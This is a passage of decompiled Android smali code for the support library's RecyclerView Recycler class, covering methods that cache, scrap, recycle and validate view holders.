add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_0 :cond_1 return-void .end method .method final markKnownViewsInvalid()V .locals 4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 if-eqz v0, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v0}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$Adapter;->hasStableIds()Z move-result v0 if-eqz v0, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 const/4 v0, 0x0 move v1, v0 :goto_0 if-ge v1, v2, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v0, :cond_0 const/4 v3, 0x6 invoke-virtual {v0, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V const/4 v3, 0x0 invoke-virtual {v0, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addChangePayload(Ljava/lang/Object;)V :cond_0 add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_0 :cond_1 invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleAndClearCachedViews()V :cond_2 return-void .end method .method final offsetPositionRecordsForInsert(II)V .locals 4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 const/4 v0, 0x0 move v1, v0 :goto_0 if-ge v1, v2, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v0, :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v3 if-lt v3, p1, :cond_0 const/4 v3, 0x1 invoke-virtual {v0, p2, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->offsetPosition(IZ)V :cond_0 add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_0 :cond_1 return-void .end method .method final offsetPositionRecordsForMove(II)V .locals 8 const/4 v5, 0x0 if-ge p1, p2, :cond_1 const/4 v0, -0x1 move v1, v0 move v2, p2 move v3, p1 :goto_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v6 move v4, v5 :goto_1 if-ge v4, v6, :cond_4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v4}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v0, :cond_0 iget v7, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I if-lt v7, v3, :cond_0 iget v7, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I if-le v7, v2, :cond_2 :cond_0 :goto_2 add-int/lit8 v0, v4, 0x1 move v4, v0 goto :goto_1 :cond_1 const/4 v0, 0x1 move v1, v0 move v2, p1 move v3, p2 goto :goto_0 :cond_2 iget v7, v0, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I if-ne v7, p1, :cond_3 sub-int v7, p2, p1 invoke-virtual {v0, v7, v5}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->offsetPosition(IZ)V goto :goto_2 :cond_3 invoke-virtual {v0, v1, v5}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->offsetPosition(IZ)V goto :goto_2 :cond_4 return-void .end method .method final offsetPositionRecordsForRemove(IIZ)V .locals 4 add-int v2, p1, p2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 move v1, v0 :goto_0 if-ltz v1, :cond_2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v0, :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v3 if-lt v3, v2, :cond_1 neg-int v3, p2 invoke-virtual {v0, v3, p3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->offsetPosition(IZ)V :cond_0 :goto_1 add-int/lit8 v0, v1, -0x1 move v1, v0 goto :goto_0 :cond_1 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getLayoutPosition()I move-result v3 if-lt v3, p1, :cond_0 const/16 v3, 0x8 invoke-virtual {v0, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V invoke-virtual {p0, v1}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V goto :goto_1 :cond_2 return-void .end method .method final onAdapterChanged(Landroid/support/v7/widget/RecyclerView$Adapter;Landroid/support/v7/widget/RecyclerView$Adapter;Z)V .locals 1 invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->clear()V invoke-virtual {p0}, Landroid/support/v7/widget/RecyclerView$Recycler;->getRecycledViewPool()Landroid/support/v7/widget/RecyclerView$RecycledViewPool; move-result-object v0 invoke-virtual {v0, p1, p2, p3}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;->onAdapterChanged(Landroid/support/v7/widget/RecyclerView$Adapter;Landroid/support/v7/widget/RecyclerView$Adapter;Z)V return-void .end method .method final quickRecycleScrapView(Landroid/view/View;)V .locals 2 invoke-static {p1}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 const/4 v1, 0x0 # setter for: Landroid/support/v7/widget/RecyclerView$ViewHolder;->mScrapContainer:Landroid/support/v7/widget/RecyclerView$Recycler; invoke-static {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4802(Landroid/support/v7/widget/RecyclerView$ViewHolder;Landroid/support/v7/widget/RecyclerView$Recycler;)Landroid/support/v7/widget/RecyclerView$Recycler; const/4 v1, 0x0 # setter for: Landroid/support/v7/widget/RecyclerView$ViewHolder;->mInChangeScrap:Z invoke-static {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4902(Landroid/support/v7/widget/RecyclerView$ViewHolder;Z)Z invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearReturnedFromScrapFlag()V invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleViewHolderInternal(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V return-void .end method .method final recycleAndClearCachedViews()V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 :goto_0 if-ltz v0, :cond_0 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V add-int/lit8 v0, v0, -0x1 goto :goto_0 :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->clear()V return-void .end method .method final recycleCachedViewAt(I)V .locals 1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->addViewHolderToRecycledViewPool(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; return-void .end method .method public final recycleView(Landroid/view/View;)V .locals 3 invoke-static {p1}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isTmpDetached()Z move-result v1 if-eqz v1, :cond_0 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; const/4 v2, 0x0 invoke-virtual {v1, p1, v2}, Landroid/support/v7/widget/RecyclerView;->removeDetachedView(Landroid/view/View;Z)V :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isScrap()Z move-result v1 if-eqz v1, :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->unScrap()V :cond_1 :goto_0 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleViewHolderInternal(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V return-void :cond_2 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->wasReturnedFromScrap()Z move-result v1 if-eqz v1, :cond_1 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearReturnedFromScrapFlag()V goto :goto_0 .end method .method final recycleViewHolderInternal(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V .locals 5 const/4 v0, 0x1 const/4 v1, 0x0 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isScrap()Z move-result v2 if-nez v2, :cond_0 iget-object v2, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v2}, Landroid/view/View;->getParent()Landroid/view/ViewParent; move-result-object v2 if-eqz v2, :cond_2 :cond_0 new-instance v2, Ljava/lang/IllegalArgumentException; new-instance v3, Ljava/lang/StringBuilder; invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v4, "Scrapped or attached views may not be recycled. isScrap:" invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isScrap()Z move-result v4 invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v3 const-string/jumbo v4, " isAttached:" invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v3 iget-object v4, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->itemView:Landroid/view/View; invoke-virtual {v4}, Landroid/view/View;->getParent()Landroid/view/ViewParent; move-result-object v4 if-eqz v4, :cond_1 :goto_0 invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-direct {v2, v0}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v2 :cond_1 move v0, v1 goto :goto_0 :cond_2 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isTmpDetached()Z move-result v2 if-eqz v2, :cond_3 new-instance v0, Ljava/lang/IllegalArgumentException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v2, "Tmp detached view should be removed from RecyclerView before it can be recycled: " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_3 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->shouldIgnore()Z move-result v2 if-eqz v2, :cond_4 new-instance v0, Ljava/lang/IllegalArgumentException; const-string/jumbo v1, "Trying to recycle an ignored view holder. You should first call stopIgnoringView(view) before calling recycle." invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_4 # invokes: Landroid/support/v7/widget/RecyclerView$ViewHolder;->doesTransientStatePreventRecycling()Z invoke-static {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4700(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z move-result v3 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v2}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v2 if-eqz v2, :cond_8 if-eqz v3, :cond_8 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v2}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v2 invoke-virtual {v2, p1}, Landroid/support/v7/widget/RecyclerView$Adapter;->onFailedToRecycleView(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z move-result v2 if-eqz v2, :cond_8 move v2, v0 :goto_1 if-nez v2, :cond_5 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isRecyclable()Z move-result v2 if-eqz v2, :cond_b :cond_5 const/16 v2, 0xe invoke-virtual {p1, v2}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->hasAnyOfTheFlags(I)Z move-result v2 if-nez v2, :cond_a iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v2}, Ljava/util/ArrayList;->size()I move-result v2 iget v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheMax:I if-ne v2, v4, :cond_6 if-lez v2, :cond_6 invoke-virtual {p0, v1}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V :cond_6 iget v4, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheMax:I if-ge v2, v4, :cond_a iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v2, p1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z move v2, v0 :goto_2 if-nez v2, :cond_9 invoke-virtual {p0, p1}, Landroid/support/v7/widget/RecyclerView$Recycler;->addViewHolderToRecycledViewPool(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V move v1, v0 move v0, v2 :goto_3 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mViewInfoStore:Landroid/support/v7/widget/ViewInfoStore; invoke-virtual {v2, p1}, Landroid/support/v7/widget/ViewInfoStore;->removeViewHolder(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V if-nez v0, :cond_7 if-nez v1, :cond_7 if-eqz v3, :cond_7 const/4 v0, 0x0 iput-object v0, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mOwnerRecyclerView:Landroid/support/v7/widget/RecyclerView; :cond_7 return-void :cond_8 move v2, v1 goto :goto_1 :cond_9 move v0, v2 goto :goto_3 :cond_a move v2, v1 goto :goto_2 :cond_b move v0, v1 goto :goto_3 .end method .method final recycleViewInternal(Landroid/view/View;)V .locals 1 invoke-static {p1}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleViewHolderInternal(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V return-void .end method .method final scrapView(Landroid/view/View;)V .locals 2 invoke-static {p1}, Landroid/support/v7/widget/RecyclerView;->getChildViewHolderInt(Landroid/view/View;)Landroid/support/v7/widget/RecyclerView$ViewHolder; move-result-object v0 const/16 v1, 0xc invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->hasAnyOfTheFlags(I)Z move-result v1 if-nez v1, :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isUpdated()Z move-result v1 if-eqz v1, :cond_0 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # invokes: Landroid/support/v7/widget/RecyclerView;->canReuseUpdatedViewHolder(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z invoke-static {v1, v0}, Landroid/support/v7/widget/RecyclerView;->access$5000(Landroid/support/v7/widget/RecyclerView;Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z move-result v1 if-eqz v1, :cond_2 :cond_0 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isInvalid()Z move-result v1 if-eqz v1, :cond_1 invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isRemoved()Z move-result v1 if-nez v1, :cond_1 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v1}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v1 invoke-virtual {v1}, Landroid/support/v7/widget/RecyclerView$Adapter;->hasStableIds()Z move-result v1 if-nez v1, :cond_1 new-instance v0, Ljava/lang/IllegalArgumentException; const-string/jumbo v1, "Called scrap view with an invalid view. Invalid views cannot be reused from scrap, they should rebound from recycler pool." invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v0 :cond_1 const/4 v1, 0x0 invoke-virtual {v0, p0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->setScrapContainer(Landroid/support/v7/widget/RecyclerView$Recycler;Z)V iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z :goto_0 return-void :cond_2 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; if-nez v1, :cond_3 new-instance v1, Ljava/util/ArrayList; invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V iput-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; :cond_3 const/4 v1, 0x1 invoke-virtual {v0, p0, v1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->setScrapContainer(Landroid/support/v7/widget/RecyclerView$Recycler;Z)V iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z goto :goto_0 .end method .method final setAdapterPositionsAsUnknown()V .locals 4 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v2 const/4 v0, 0x0 move v1, v0 :goto_0 if-ge v1, v2, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/support/v7/widget/RecyclerView$ViewHolder; if-eqz v0, :cond_0 const/16 v3, 0x200 invoke-virtual {v0, v3}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->addFlags(I)V :cond_0 add-int/lit8 v0, v1, 0x1 move v1, v0 goto :goto_0 :cond_1 return-void .end method .method final setRecycledViewPool(Landroid/support/v7/widget/RecyclerView$RecycledViewPool;)V .locals 2 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; if-eqz v0, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;->detach()V :cond_0 iput-object p1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; if-eqz p1, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mRecyclerPool:Landroid/support/v7/widget/RecyclerView$RecycledViewPool; iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; invoke-virtual {v1}, Landroid/support/v7/widget/RecyclerView;->getAdapter()Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v1 invoke-virtual {v0, v1}, Landroid/support/v7/widget/RecyclerView$RecycledViewPool;->attach(Landroid/support/v7/widget/RecyclerView$Adapter;)V :cond_1 return-void .end method .method final setViewCacheExtension(Landroid/support/v7/widget/RecyclerView$ViewCacheExtension;)V .locals 0 iput-object p1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheExtension:Landroid/support/v7/widget/RecyclerView$ViewCacheExtension; return-void .end method .method public final setViewCacheSize(I)V .locals 2 iput p1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mViewCacheMax:I iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v0}, Ljava/util/ArrayList;->size()I move-result v0 add-int/lit8 v0, v0, -0x1 :goto_0 if-ltz v0, :cond_0 iget-object v1, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mCachedViews:Ljava/util/ArrayList; invoke-virtual {v1}, Ljava/util/ArrayList;->size()I move-result v1 if-le v1, p1, :cond_0 invoke-virtual {p0, v0}, Landroid/support/v7/widget/RecyclerView$Recycler;->recycleCachedViewAt(I)V add-int/lit8 v0, v0, -0x1 goto :goto_0 :cond_0 return-void .end method .method final unscrapView(Landroid/support/v7/widget/RecyclerView$ViewHolder;)V .locals 1 # getter for: Landroid/support/v7/widget/RecyclerView$ViewHolder;->mInChangeScrap:Z invoke-static {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4900(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z move-result v0 if-eqz v0, :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mChangedScrap:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z :goto_0 const/4 v0, 0x0 # setter for: Landroid/support/v7/widget/RecyclerView$ViewHolder;->mScrapContainer:Landroid/support/v7/widget/RecyclerView$Recycler; invoke-static {p1, v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4802(Landroid/support/v7/widget/RecyclerView$ViewHolder;Landroid/support/v7/widget/RecyclerView$Recycler;)Landroid/support/v7/widget/RecyclerView$Recycler; const/4 v0, 0x0 # setter for: Landroid/support/v7/widget/RecyclerView$ViewHolder;->mInChangeScrap:Z invoke-static {p1, v0}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->access$4902(Landroid/support/v7/widget/RecyclerView$ViewHolder;Z)Z invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->clearReturnedFromScrapFlag()V return-void :cond_0 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->mAttachedScrap:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z goto :goto_0 .end method .method final validateViewHolderForOffsetPosition(Landroid/support/v7/widget/RecyclerView$ViewHolder;)Z .locals 6 const/4 v0, 0x1 const/4 v1, 0x0 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->isRemoved()Z move-result v2 if-eqz v2, :cond_1 iget-object v0, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v0, v0, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v0}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v0 :cond_0 :goto_0 return v0 :cond_1 iget v2, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I if-ltz v2, :cond_2 iget v2, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I iget-object v3, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v3}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v3 invoke-virtual {v3}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemCount()I move-result v3 if-lt v2, v3, :cond_3 :cond_2 new-instance v0, Ljava/lang/IndexOutOfBoundsException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string/jumbo v2, "Inconsistency detected. Invalid view holder adapter position" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V throw v0 :cond_3 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; iget-object v2, v2, Landroid/support/v7/widget/RecyclerView;->mState:Landroid/support/v7/widget/RecyclerView$State; invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$State;->isPreLayout()Z move-result v2 if-nez v2, :cond_4 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v2}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v2 iget v3, p1, Landroid/support/v7/widget/RecyclerView$ViewHolder;->mPosition:I invoke-virtual {v2, v3}, Landroid/support/v7/widget/RecyclerView$Adapter;->getItemViewType(I)I move-result v2 invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$ViewHolder;->getItemViewType()I move-result v3 if-eq v2, v3, :cond_4 move v0, v1 goto :goto_0 :cond_4 iget-object v2, p0, Landroid/support/v7/widget/RecyclerView$Recycler;->this$0:Landroid/support/v7/widget/RecyclerView; # getter for: Landroid/support/v7/widget/RecyclerView;->mAdapter:Landroid/support/v7/widget/RecyclerView$Adapter; invoke-static {v2}, Landroid/support/v7/widget/RecyclerView;->access$2900(Landroid/support/v7/widget/RecyclerView;)Landroid/support/v7/widget/RecyclerView$Adapter; move-result-object v2 invoke-virtual {v2}, Landroid/support/v7/widget/RecyclerView$Adapter;->hasStableIds()Z move-result v2 